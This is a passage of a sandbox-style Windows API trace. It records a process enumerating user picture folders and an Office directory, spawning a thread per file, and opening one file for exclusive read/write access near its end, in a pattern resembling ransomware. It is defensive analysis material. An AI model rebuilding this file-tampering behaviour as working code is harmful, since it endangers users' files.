(_String1=".", _String2=".") returned 0 [0118.494] FindNextFileW (in: hFindFile=0x1b858550, lpFindFileData=0x2027e2d0 | out: lpFindFileData=0x2027e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63242e10, ftCreationTime.dwHighDateTime=0x1d5df79, ftLastAccessTime.dwLowDateTime=0x21e341e0, ftLastAccessTime.dwHighDateTime=0x1d5e378, ftLastWriteTime.dwLowDateTime=0x21e341e0, ftLastWriteTime.dwHighDateTime=0x1d5e378, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.494] wcscmp (_String1="..", _String2=".") returned 1 [0118.494] wcscmp (_String1="..", _String2="..") returned 0 [0118.494] FindNextFileW (in: hFindFile=0x1b858550, lpFindFileData=0x2027e2d0 | out: lpFindFileData=0x2027e2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa04b070, ftCreationTime.dwHighDateTime=0x1d5e005, ftLastAccessTime.dwLowDateTime=0x5804aea0, ftLastAccessTime.dwHighDateTime=0x1d5e40c, ftLastWriteTime.dwLowDateTime=0x5804aea0, ftLastWriteTime.dwHighDateTime=0x1d5e40c, nFileSizeHigh=0x0, nFileSizeLow=0x1815c, dwReserved0=0x0, dwReserved1=0x0, cFileName="g7A5zgEt7m0WU.jpg", cAlternateFileName="G7A5ZG~1.JPG")) returned 1 [0118.494] wcscmp (_String1="g7A5zgEt7m0WU.jpg", _String2=".") returned 1 [0118.494] wcscmp (_String1="g7A5zgEt7m0WU.jpg", _String2="..") returned 1 [0118.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x202ac370 [0118.494] wcscpy (in: _Dest=0x202ac370, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1" [0118.494] wcscat (in: _Dest=0x202ac370, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\" [0118.494] wcscat (in: _Dest=0x202ac370, _Source="g7A5zgEt7m0WU.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\g7A5zgEt7m0WU.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\g7A5zgEt7m0WU.jpg" [0150.932] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ac370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14a0 [0150.932] FindNextFileW (in: hFindFile=0x1b858550, lpFindFileData=0x2027e2d0 | out: lpFindFileData=0x2027e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fa837f0, ftCreationTime.dwHighDateTime=0x1d5e7bc, ftLastAccessTime.dwLowDateTime=0xa726bc90, ftLastAccessTime.dwHighDateTime=0x1d5e802, ftLastWriteTime.dwLowDateTime=0xa726bc90, ftLastWriteTime.dwHighDateTime=0x1d5e802, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x2Lc7AzW1", cAlternateFileName="X2LC7A~1")) returned 1 [0150.932] wcscmp (_String1="x2Lc7AzW1", _String2=".") returned 1 [0150.932] wcscmp (_String1="x2Lc7AzW1", _String2="..") returned 1 [0150.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ae060 [0150.933] wcscpy (in: _Dest=0x1b7ae060, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1" [0150.933] wcscat (in: _Dest=0x1b7ae060, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\" [0150.933] wcscat (in: _Dest=0x1b7ae060, _Source="x2Lc7AzW1" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1" [0150.933] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7ae060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x230c [0150.934] FindNextFileW (in: hFindFile=0x1b858550, lpFindFileData=0x2027e2d0 | out: lpFindFileData=0x2027e2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1705d860, ftCreationTime.dwHighDateTime=0x1d5e485, ftLastAccessTime.dwLowDateTime=0x30748dd0, ftLastAccessTime.dwHighDateTime=0x1d5d8b6, ftLastWriteTime.dwLowDateTime=0x30748dd0, ftLastWriteTime.dwHighDateTime=0x1d5d8b6, nFileSizeHigh=0x0, nFileSizeLow=0x8fd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="yD_4AI.png", cAlternateFileName="")) returned 1 [0150.934] wcscmp (_String1="yD_4AI.png", _String2=".") returned 1 [0150.934] wcscmp (_String1="yD_4AI.png", _String2="..") returned 1 [0150.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x1b7adac0 [0150.934] wcscpy (in: _Dest=0x1b7adac0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1" [0150.934] wcscat (in: _Dest=0x1b7adac0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\" [0150.935] wcscat (in: _Dest=0x1b7adac0, _Source="yD_4AI.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\yD_4AI.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\yD_4AI.png" [0150.935] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7adac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2310 [0150.935] FindNextFileW (in: hFindFile=0x1b858550, lpFindFileData=0x2027e2d0 | out: lpFindFileData=0x2027e2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1705d860, ftCreationTime.dwHighDateTime=0x1d5e485, ftLastAccessTime.dwLowDateTime=0x30748dd0, ftLastAccessTime.dwHighDateTime=0x1d5d8b6, ftLastWriteTime.dwLowDateTime=0x30748dd0, ftLastWriteTime.dwHighDateTime=0x1d5d8b6, nFileSizeHigh=0x0, nFileSizeLow=0x8fd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="yD_4AI.png", cAlternateFileName="")) returned 0 [0150.935] FindClose (in: hFindFile=0x1b858550 | out: hFindFile=0x1b858550) returned 1 [0150.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027e2d0) returned 1 [0150.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae6e0) returned 1 [0150.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae770) returned 1 Thread: id = 1366 os_tid = 0xefc [0118.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202ae0b0 [0118.495] wcscpy (in: _Dest=0x202ae0b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg" [0118.496] wcscat (in: _Dest=0x202ae0b0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\" [0118.496] wcscat (in: _Dest=0x202ae0b0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\*" [0118.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027e540 [0118.496] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\*", lpFindFileData=0x2027e540 | out: lpFindFileData=0x2027e540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53214340, ftCreationTime.dwHighDateTime=0x1d5e244, ftLastAccessTime.dwLowDateTime=0xa230da20, ftLastAccessTime.dwHighDateTime=0x1d5e025, ftLastWriteTime.dwLowDateTime=0xa230da20, ftLastWriteTime.dwHighDateTime=0x1d5e025, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858a90 [0118.496] wcscmp (_String1=".", _String2=".") returned 0 [0118.496] FindNextFileW (in: hFindFile=0x1b858a90, lpFindFileData=0x2027e540 | out: lpFindFileData=0x2027e540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53214340, ftCreationTime.dwHighDateTime=0x1d5e244, ftLastAccessTime.dwLowDateTime=0xa230da20, ftLastAccessTime.dwHighDateTime=0x1d5e025, ftLastWriteTime.dwLowDateTime=0xa230da20, ftLastWriteTime.dwHighDateTime=0x1d5e025, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.496] wcscmp (_String1="..", _String2=".") returned 1 [0118.496] wcscmp (_String1="..", _String2="..") returned 0 [0118.496] FindNextFileW (in: hFindFile=0x1b858a90, lpFindFileData=0x2027e540 | out: lpFindFileData=0x2027e540*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe898b660, ftCreationTime.dwHighDateTime=0x1d5e3ac, ftLastAccessTime.dwLowDateTime=0x443df9c0, ftLastAccessTime.dwHighDateTime=0x1d5e160, ftLastWriteTime.dwLowDateTime=0x443df9c0, ftLastWriteTime.dwHighDateTime=0x1d5e160, nFileSizeHigh=0x0, nFileSizeLow=0x13050, dwReserved0=0x0, dwReserved1=0x0, cFileName="0EQaNx_e8UDf.gif", cAlternateFileName="0EQANX~1.GIF")) returned 1 [0118.496] wcscmp (_String1="0EQaNx_e8UDf.gif", _String2=".") returned 1 [0118.496] wcscmp (_String1="0EQaNx_e8UDf.gif", _String2="..") returned 1 [0118.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ac2c0 [0118.496] wcscpy (in: _Dest=0x202ac2c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg" [0118.496] wcscat (in: _Dest=0x202ac2c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\" [0118.496] wcscat (in: _Dest=0x202ac2c0, _Source="0EQaNx_e8UDf.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\0EQaNx_e8UDf.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\0EQaNx_e8UDf.gif" [0145.794] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ac2c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b8c [0145.803] FindNextFileW (in: hFindFile=0x1b858a90, lpFindFileData=0x2027e540 | out: lpFindFileData=0x2027e540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x655740e0, ftCreationTime.dwHighDateTime=0x1d5dceb, ftLastAccessTime.dwLowDateTime=0x95ba5270, ftLastAccessTime.dwHighDateTime=0x1d5e1d4, ftLastWriteTime.dwLowDateTime=0x95ba5270, ftLastWriteTime.dwHighDateTime=0x1d5e1d4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="iQmSj-3N", cAlternateFileName="")) returned 1 [0145.803] wcscmp (_String1="iQmSj-3N", _String2=".") returned 1 [0145.803] wcscmp (_String1="iQmSj-3N", _String2="..") returned 1 [0145.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x202b1e10 [0145.804] wcscpy (in: _Dest=0x202b1e10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg" [0145.804] wcscat (in: _Dest=0x202b1e10, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\" [0145.804] wcscat (in: _Dest=0x202b1e10, _Source="iQmSj-3N" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N" [0145.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202b1e10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fb8 [0145.809] FindNextFileW (in: hFindFile=0x1b858a90, lpFindFileData=0x2027e540 | out: lpFindFileData=0x2027e540*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75d94d50, ftCreationTime.dwHighDateTime=0x1d5da4d, ftLastAccessTime.dwLowDateTime=0xf2a54250, ftLastAccessTime.dwHighDateTime=0x1d5e252, ftLastWriteTime.dwLowDateTime=0xf2a54250, ftLastWriteTime.dwHighDateTime=0x1d5e252, nFileSizeHigh=0x0, nFileSizeLow=0x811d, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnmY0ZpbN1peQKLtta4.jpg", cAlternateFileName="JNMY0Z~1.JPG")) returned 1 [0145.809] wcscmp (_String1="jnmY0ZpbN1peQKLtta4.jpg", _String2=".") returned 1 [0145.809] wcscmp (_String1="jnmY0ZpbN1peQKLtta4.jpg", _String2="..") returned 1 [0145.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b861800 [0145.809] wcscpy (in: _Dest=0x1b861800, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg" [0145.809] wcscat (in: _Dest=0x1b861800, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\" [0145.809] wcscat (in: _Dest=0x1b861800, _Source="jnmY0ZpbN1peQKLtta4.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\jnmY0ZpbN1peQKLtta4.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\jnmY0ZpbN1peQKLtta4.jpg" [0145.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b861800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f34 [0145.810] FindNextFileW (in: hFindFile=0x1b858a90, lpFindFileData=0x2027e540 | out: lpFindFileData=0x2027e540*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a813240, ftCreationTime.dwHighDateTime=0x1d5e40a, ftLastAccessTime.dwLowDateTime=0x768e8890, ftLastAccessTime.dwHighDateTime=0x1d5e48a, ftLastWriteTime.dwLowDateTime=0x768e8890, ftLastWriteTime.dwHighDateTime=0x1d5e48a, nFileSizeHigh=0x0, nFileSizeLow=0xb17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="o2zC-.jpg", cAlternateFileName="")) returned 1 [0145.810] wcscmp (_String1="o2zC-.jpg", _String2=".") returned 1 [0145.810] wcscmp (_String1="o2zC-.jpg", _String2="..") returned 1 [0145.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1550 [0145.811] wcscpy (in: _Dest=0x202b1550, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg" [0145.811] wcscat (in: _Dest=0x202b1550, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\" [0145.811] wcscat (in: _Dest=0x202b1550, _Source="o2zC-.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\o2zC-.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\o2zC-.jpg" [0145.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b1550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fd8 [0145.812] FindNextFileW (in: hFindFile=0x1b858a90, lpFindFileData=0x2027e540 | out: lpFindFileData=0x2027e540*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5cd53f0, ftCreationTime.dwHighDateTime=0x1d5e1f6, ftLastAccessTime.dwLowDateTime=0xd3be7a50, ftLastAccessTime.dwHighDateTime=0x1d5e6c1, ftLastWriteTime.dwLowDateTime=0xd3be7a50, ftLastWriteTime.dwHighDateTime=0x1d5e6c1, nFileSizeHigh=0x0, nFileSizeLow=0x184d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WlJtyhKfB82HFNT.gif", cAlternateFileName="WLJTYH~1.GIF")) returned 1 [0145.812] wcscmp (_String1="WlJtyhKfB82HFNT.gif", _String2=".") returned 1 [0145.812] wcscmp (_String1="WlJtyhKfB82HFNT.gif", _String2="..") returned 1 [0145.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b862300 [0145.812] wcscpy (in: _Dest=0x1b862300, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg" [0145.812] wcscat (in: _Dest=0x1b862300, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\" [0145.812] wcscat (in: _Dest=0x1b862300, _Source="WlJtyhKfB82HFNT.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\WlJtyhKfB82HFNT.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\WlJtyhKfB82HFNT.gif" [0145.812] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1be8 [0145.813] FindNextFileW (in: hFindFile=0x1b858a90, lpFindFileData=0x2027e540 | out: lpFindFileData=0x2027e540*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5cd53f0, ftCreationTime.dwHighDateTime=0x1d5e1f6, ftLastAccessTime.dwLowDateTime=0xd3be7a50, ftLastAccessTime.dwHighDateTime=0x1d5e6c1, ftLastWriteTime.dwLowDateTime=0xd3be7a50, ftLastWriteTime.dwHighDateTime=0x1d5e6c1, nFileSizeHigh=0x0, nFileSizeLow=0x184d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WlJtyhKfB82HFNT.gif", cAlternateFileName="WLJTYH~1.GIF")) returned 0 [0145.814] FindClose (in: hFindFile=0x1b858a90 | out: hFindFile=0x1b858a90) returned 1 [0145.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027e540) returned 1 [0145.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae0b0) returned 1 [0145.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ed90) returned 1 Thread: id = 1367 os_tid = 0xf2c [0118.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e510 [0118.497] wcscpy (in: _Dest=0x1b85e510, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033" [0118.497] wcscat (in: _Dest=0x1b85e510, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\" [0118.497] wcscat (in: _Dest=0x1b85e510, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*" [0118.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027e7b0 [0118.497] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*", lpFindFileData=0x2027e7b0 | out: lpFindFileData=0x2027e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b859330 [0118.498] wcscmp (_String1=".", _String2=".") returned 0 [0118.498] FindNextFileW (in: hFindFile=0x1b859330, lpFindFileData=0x2027e7b0 | out: lpFindFileData=0x2027e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.498] wcscmp (_String1="..", _String2=".") returned 1 [0118.498] wcscmp (_String1="..", _String2="..") returned 0 [0118.498] FindNextFileW (in: hFindFile=0x1b859330, lpFindFileData=0x2027e7b0 | out: lpFindFileData=0x2027e7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c438, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MML", cAlternateFileName="")) returned 1 [0118.498] wcscmp (_String1="OFFICE10.MML", _String2=".") returned 1 [0118.498] wcscmp (_String1="OFFICE10.MML", _String2="..") returned 1 [0118.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202ae1d0 [0118.498] wcscpy (in: _Dest=0x202ae1d0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033" [0118.498] wcscat (in: _Dest=0x202ae1d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\" [0118.498] wcscat (in: _Dest=0x202ae1d0, _Source="OFFICE10.MML" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" [0152.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml")) returned 0x20 [0152.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML", dwFileAttributes=0x20) returned 1 [0152.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x25e0 [0152.230] GetFileSizeEx (in: hFile=0x25e0, lpFileSize=0x3dddfe20 | out: lpFileSize=0x3dddfe20*=312376) returned 1 [0152.230] SetFilePointerEx (in: hFile=0x25e0, liDistanceToMove=0x4c434, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.230] ReadFile (in: hFile=0x25e0, lpBuffer=0x3dddfda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3dddfde8, 